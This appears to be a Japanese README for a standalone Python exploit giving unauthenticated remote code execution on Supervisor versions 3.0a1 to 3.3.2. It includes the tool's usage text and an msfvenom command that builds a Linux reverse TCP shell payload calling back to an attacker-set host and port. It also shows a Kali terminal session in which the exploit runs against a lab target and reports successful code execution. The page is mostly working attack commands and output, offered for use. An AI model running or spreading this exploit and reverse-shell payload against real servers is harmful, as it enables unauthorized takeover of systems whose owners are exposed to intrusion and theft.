
Supervisor 3.0a1から3.3.2向けの認証不要RCEエクスプロイト(Python ≥3.6スタンドアロン版)
Python 3.6以上用のスタンドアロン未認証RCEエクスプロイト。対象はSupervisor 3.0a1~3.3.2。この Metasploitモジュール から書き直したものです。解説 記事はこちら。
Python 3.7で、Supervisor 3.3.2が動作する このターゲット でテスト済み。
root@Kali:~/Infosec/RubyStuff/Supervisor-3.3.2# ./exploit.py -h
usage: exploit.py [-h] -rhost RHOST [-rport RPORT] -payload PAYLOAD
[-rpcpath RPCPATH]
先にペイロードを生成してください。例:
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4445 -f elf -o dir/payload.elf
必須引数:
-rhost RHOST Supervisorが動作しているターゲットホスト。例: 192.168.92.153
-payload PAYLOAD ELFペイロードへのパス。例: dir/payload.elf
オプション引数:
-rport RPORT Supervisorが動作しているターゲットポート。デフォルト: 9001
-rpcpath RPCPATH Supervisor上のXML-RPCエンドポイントへのパス。デフォルト: '/RPC2' (例: http://192.168.92.153:9001/RPC2)
エクスプロイトの呼び出し例:
./exploit.py -rhost 192.168.92.153 -rport 9001 -rpcpath /RPC2 -payload dir/payload.elf
root@Kali:~/Infosec/RubyStuff/Supervisor-3.3.2# msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4445 -f elf -o payload.elf
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: payload.elf
root@Kali:~/Infosec/RubyStuff/Supervisor-3.3.2# ./exploit.py -rhost 192.168.92.153 -payload payload.elf
Extracting version from web interface..
Vulnerable version found: 3.3.2
Sending XML-RPC payload via POST to 192.168.92.153:9001/RPC2
Successful remote code execution